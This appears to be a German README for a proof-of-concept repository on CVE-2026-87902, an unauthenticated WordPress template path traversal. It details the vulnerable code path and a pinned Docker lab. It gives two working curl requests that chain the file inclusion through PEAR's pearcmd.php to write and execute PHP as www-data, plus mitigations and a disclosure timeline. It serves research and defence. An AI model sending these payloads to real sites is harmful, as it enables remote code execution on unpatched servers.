
PoC für CVE-2026-87902 — unauthentifizierter Path Traversal in der WordPress-Seitentemplate-Auflösung (lokale PHP-Inklusion, bedingte RCE) mit einem gepinnten verwundbaren Lab
Unauthentifizierte lokale PHP-Dateieinbindung in WordPress Core über einen doppelt kodierten
pagename-Wert — und unter bestimmten Deployment-Bedingungen PHP-Codeausführung
mit den Rechten des Web-Server-Kontos.
| CVE | CVE-2026-87902 |
| Herstellerhinweis | GHSA-7hp8-65ch-5whp |
| Write-up | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Betroffen | WordPress Core 4.7.0 – 7.1.1 (jeder Branch, gemäß den Branch-spezifischen Bereichen des Hinweises); dynamisch reproduziert auf 7.0.2 |
| Behoben | 7.1.2 (7.1-Branch), 7.0.6 (7.0-Branch) und ein Backport für jeden Branch bis hinunter zu 4.7.37 (gemäß dem Hinweis) |
| Schwachstellen | CWE-98 (improper control of filename in include), CWE-22 / CWE-23 (path traversal) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (ergänzend) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| Authentifizierung | keine — kein Konto, Cookie, Nonce, Session, Plugin oder ausgehender Request |
| Benutzerinteraktion | keine |
| Autor | Robert Ressl — ressl.ch |
| PoC verifiziert | 2026-09-22 gegen das Lab in diesem Repository — siehe Verifizierte Ergebnisse |
WordPress löst ein Seiten-Template über eine Kette auf, die nie beweist, dass die ausgewählte Datei innerhalb eines Theme-Roots bleibt:
pagename und page_id sind öffentliche Query-Variablen, die WP::parse_request()
aus einem anonymen POST-Body akzeptiert.pagename übersteht die frühe Query-
Bereinigung als escapte %xx-Oktette (wp_basename() kann %2f nicht als
Trennzeichen erkennen, und sanitize_title_with_dashes() behält gültige
Oktette bewusst bei).page_id wählt dann eine echte veröffentlichte Seite aus, während der bösartige
pagename im Query-Objekt verbleibt.get_page_template() ruft später urldecode() auf diesen Wert auf und fügt einen
Kandidaten wie page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
zur Template-Hierarchie hinzu.locate_template() und der finale Template-Loader prüfen nur Existenz,
Lesbarkeit und das .php/.html-Suffix — niemals, ob der kanonische Pfad
noch innerhalb eines erlaubten Theme-Roots liegt — und includen ihn dann.Das ist ein unauthentifiziertes Remote-Local-File-Inclusion-Primitiv in WordPress
Core. Auf der getesteten offiziellen Runtime (wordpress:php8.3-apache, die
PEAR mitbringt und keine php.ini lädt, sodass register_argc_argv On ist), wurde
die Einbindung über PEARs pearcmd.php verkettet: Ein erster anonymer Request lässt
config-create angreiferkontrolliertes PHP nach /tmp schreiben, ein zweiter anonymer
Request bindet diese Datei ein und führt sie als www-data aus.
Die fehlende Pfad-Eingrenzung in Core ist die Schwachstelle. PEAR ist nur eine umgebungsabhängige Route von der Einbindung zur Codeausführung — es ist keine WordPress-Abhängigkeit und in nicht jedem Deployment vorhanden oder nutzbar.
Verifizierte Quellcode-Stellen (WordPress 7.0.2):
| # | Stelle | Rolle |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename und page_id sind öffentliche Query-Vars und werden aus $_POST gelesen |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f ist für wp_basename() kein Trennzeichen |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() behält gültige %xx-Oktette bei, anstatt sie zu entfernen |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — der Traversal wird nach der Bereinigung aktiv |
| 5 | wp-includes/template.php:722-736 | locate_template() konkateniert den Kandidaten unterhalb jedes Theme-Roots und ruft nur file_exists() auf |
| 6 | wp-includes/template-loader.php:116-132 | realpath() normalisiert den Pfad, dann läuft include ohne kanonische Root-Containment-Prüfung |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() kehrt bei Nicht-GET/HEAD früh zurück, sodass ein POST nicht wegkanonisiert wird |
Das eigenständige Einbindungs-Primitiv benötigt:
| # | Voraussetzung | Grund |
|---|---|---|
| 1 | Eine veröffentlichte, anonym erreichbare Seite, ausgewählt über numerische page_id | die Seite muss von der Query zurückgegeben werden, nachdem die Pfadnamen-Suche fehlschlägt |
| 2 | Kein früher auflösbares benutzerdefiniertes Seiten-Template | ein gültig zugewiesenes Template wird vor dem bösartigen Kandidaten geordnet |
| 3 | Ein Top-Level-Verzeichnis im aktiven (Child- oder Parent-)Theme, dessen Name mit page- beginnt, z. B. page-templates/ | WordPress stellt das feste Präfix page- voran, sodass ein ..-Traversal nicht an Position 0 beginnen kann; das Verzeichnis muss nur existieren und durchquerbar sein — es muss nicht beschreibbar sein |
| 4 | Eine ausgewählte lokale .php-Datei, die existiert und für den PHP-Benutzer lesbar ist | der Loader prüft is_file()/is_readable() und erfordert ein .php-Suffix |
| 5 | Keine Dateisystem-Eingrenzung, die diese Datei blockiert | ein open_basedir oder eine MAC-Policy kann die Einbindung verhindern |
Die demonstrierte PEAR-Stufe benötigt zusätzlich eine lesbare pearcmd.php (samt ihrer
Abhängigkeiten), register_argc_argv=On für die Web-SAPI und ein beschreibbares Ausgabe-
verzeichnis. Produktions-php.ini-Dateien setzen register_argc_argv=Off; das getestete
Image lädt keine php.ini, sodass der kompilierte Standard (On) galt. Dies ist eine
wichtige Einschränkung für die Verbreitung der demonstrierten Codeausführungs-Kette.
Die mitgelieferten Themes Twenty Twenty-Three/Four/Five enthalten kein Top-Level-page-*-
Verzeichnis, daher benötigt das Standard-Lab das unten beschriebene Fixture. Benutzerdefinierte Themes können
legitimerweise ein page-templates/-Layout verwenden
(WordPress-Dokumentation).
Der Hinweis dokumentiert, wo diese Bedingungen in ausgelieferter Software auftreten: Die Theme-
Bedingung wird von den Legacy-Themes Twenty Twelve und Twenty Fourteen sowie von
Drittanbieter-Themes wie Neve, Hestia und Sydney erfüllt, während der PEAR-Übergang
für das offizielle PHP-Docker-Image und für Standard-cPanel-Konfigurationen gilt, die
PHP älter als 8.5 ausführen. (Twenty Twelve und Twenty Fourteen liefern beide ein
Top-Level-page-templates/-Verzeichnis; die übrigen Aussagen stammen aus dem
Hinweis.) Dieses Repository misst nicht, wie oft die vollständige Kette
zutrifft.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py benötigt Python 3.6+ (nur Standardbibliothek) und erreicht das Lab unter
http://127.0.0.1:8091 standardmäßig. Erwartete Ausgabe:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
Der Exit-Code ist 0 bei Erfolg und 1 andernfalls, sodass der PoC auch als
Regressions-/Erkennungsprüfung funktioniert.
Teardown: docker compose down -v.
Ausgeführt am 2026-09-22 gegen dieses Lab (Docker 29.4, OrbStack, Apple Silicon):
| Prüfung | Ergebnis |
|---|---|
| Stufe 1 | HTTP 200; /tmp/wp-pear-rce-flag.php geschrieben als www-data:www-data, Modus 0644, 1219 Bytes |
| Payload SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identisch mit dem im ursprünglichen Bericht aufgezeichneten Hash |
| Stufe 2 | HTTP 200; das injizierte PHP gab das Proof-Artefakt mit Modus 0444 aus |
| Marker-Vorkommen | 12 (PEAR serialisiert den kontrollierten Root-Wert in 12 Konfigurationseinträge) |
| Verwendete Credentials | keine — kein Cookie- oder Authorization-Header in irgendeinem Request |
| Negativkontrolle | page-templates/ entfernt → Stufe 2 gibt die normale Seite zurück, kein Marker, Exit-Code 1 |
Das Proof-Artefakt ist /flag, root-eigen und weltweit lesbar (root:root, Modus
0444) innerhalb des Containers. Es beweist PHP-Ausführung und Dateizugriff als
Web-Server-Konto; es ist kein Privilegien-Eskalationsziel.
Zwei anonyme POSTs. WordPress-Routing-Werte reisen im Form-Body, die
PEAR-Argumente im rohen Query-String (PHP teilt den rohen Query-String an literalem + in argv auf und URL-dekodiert die einzelnen Argumente nicht):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Stufe 1 — pearcmd.php einbinden und die Payload schreiben:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Stufe 2 — die generierte Datei einbinden und ihr PHP ausführen:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Wichtige Details:
templates%2f%2e%2e%2f... dekodiert; der Sanitizer behält diese Oktette bei, und nur
das späte urldecode() von get_page_template() verwandelt sie in / und ...page--Präfix. WordPress stellt page- dem Wert voran, sodass das Fixture-
Verzeichnis page-templates/ dem führenden templates-Segment entspricht..php-Suffix. Der Kandidat ist page-<decoded>.php, weshalb
das Ziel ohne Suffix angegeben wird (.../pearcmd, /tmp/wp-pear-rce-flag).POST, nicht GET. redirect_canonical() überspringt Nicht-GET/HEAD-Requests, und
der Form-Body lässt den Query-String nur die PEAR-Argumente tragen.wp_magic_quotes() läuft auch über $_SERVER, sodass das
server-gebaute argv escapt wird und PEAR später die Backslashes normalisiert. Die
verifizierte Payload verwendet chr() und enthält keine Quote-Zeichen. (Sie reduziert
sich zu <?=file_get_contents('/flag')?>.)config-create-Root-Pfad. PEAR lehnt einen relativen Root ab
(Root directory must be an absolute path beginning with "/"), sodass die Payload
als Root-Pfad selbst injiziert wird.cve-2026-87902.py läuft ..-Segmente ab, bis der Traversal das Ziel erreicht
(7 für das Layout dieses Labs, --depth zum Fixieren).lab/up.sh führt drei Schritte aus und kann gefahrlos erneut ausgeführt werden:
docker compose up -d --build --wait — gepinntes wordpress:7.0.2-php8.3-apache
plus mysql:8.4, Port 127.0.0.1:8091 (nur Loopback).admin / adminadmin), falls die Seite noch nicht
installiert ist.wp-content/themes/twentytwentyfive/page-templates/, root:root, Modus
0755, leer.Das Lab-Image fügt register_argc_argv=On explizit hinzu (lab/Dockerfile), anstatt
sich auf den kompilierten Standard zu verlassen, und backt /flag ein
(root:root, Modus 0444, Inhalt CVE-2026-87902-POC-OK).
| Komponente | Wert |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, Apache-Modul |
| PEAR | 1.10.18 unter /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| Theme | Twenty Twenty-Five + leeres root-eigenes page-templates/-Fixture |
| Ziel-Seite | veröffentlichte Sample Page, ID 2, Standard-Template |
| Proof-Artefakt | /flag, root:root, Modus 0444 |
Der rollierende Tag
wordpress:php8.3-apacheist für dieses Lab nicht nutzbar: Der Bug ist in 7.1.2 behoben und ein nicht gepinnter Tag macht das Lab stillschweigend gepatcht.
Verifizierte oder dokumentierte Kontrollen:
page-*-Verzeichnis im Theme → das feste Präfix kann nicht
entfernt werden und der Traversal beginnt nie (verifiziert: Fixture entfernt → kein Marker).register_argc_argv=Off → kein PEAR-Writer, aber das Einbindungs-Primitiv bleibt bestehen...-Segmenten → Ziel nicht erreicht (verifiziert: Tiefen 1-6 und
8-12 erzeugen keinen Marker im Lab)./flag) kann nicht direkt gelesen werden — dem Kandidaten wird
.php angehängt.<-, >-, =-Bytes im Request-
Target ablehnt, bricht den PEAR-Argumentkanal (deployment-spezifisch).open_basedir/MAC-Eingrenzung oder ein nicht beschreibbares Ausgabeverzeichnis bricht die
Kette; noexec auf /tmp nicht (PHP liest und interpretiert die Datei).Dieser PoC reproduziert eine verifizierte Konfiguration. Er behauptet nicht, dass jede WordPress-Installation ausnutzbar ist, und er misst nicht die Verbreitung.
validate_file()), und vor dem Einbinden eines
lokalisierten Templates realpath() von Kandidat und Theme-Root mit einem
abschließenden Verzeichnistrennzeichen vergleichen.register_argc_argv=Off für Web-SAPIs setzen, ungenutzte
web-lesbare PEAR-Einstiegspunkte aus Produktions-Images entfernen, Child- und
Parent-Themes auf Top-Level-page-*-Verzeichnisse prüfen und Schreibzugriff
für das PHP-Konto einschränken.| Pfad | Zweck |
|---|---|
cve-2026-87902.py | Exploit: Seitenerkennung, beide Stufen, Tiefenbehandlung, Marker-Verifikation |
lab/up.sh | bringt das Lab in den exakten Zustand, den der Exploit erwartet (idempotent) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, nur Loopback-Port |
lab/Dockerfile | pinnt die verwundbare Release, setzt register_argc_argv=On, backt /flag ein |
lab/flag | Inhalt des Proof-Artefakts |
| Datum | Ereignis |
|---|---|
| 2026-07-20 | Privat über das WordPress-HackerOne-Programm gemeldet |
| 2026-07-21 | Eingang bestätigt |
| 2026-09-15 | Informiert, dass ein Fix für eine kommende Release geplant war; Attributionsdetails angefragt |
| 2026-09-22 | WordPress 7.1.2 mit dem Fix veröffentlicht; Hinweis GHSA-7hp8-65ch-5whp publiziert |
Der Bericht wurde als gültiger Sicherheitsbefund akzeptiert, nachdem seine ursprüngliche Klassifizierung überarbeitet wurde; die Korrespondenz datiert diese Akzeptanz nicht.
Dieses Repository wird für defensive und Forschungszwecke veröffentlicht. Verwenden Sie es nur
gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind zu testen. Das Lab ist an
127.0.0.1 gebunden und darf nicht unvertrauenswürdigen Netzwerken ausgesetzt werden.
MIT — siehe LICENSE. Zitations-Metadaten befinden sich in CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
Der Schwachstellenbericht und dieser PoC wurden mit KI-Unterstützung für Organisation und Konsistenzprüfung erstellt; der Forscher ist für die technischen Aussagen verantwortlich.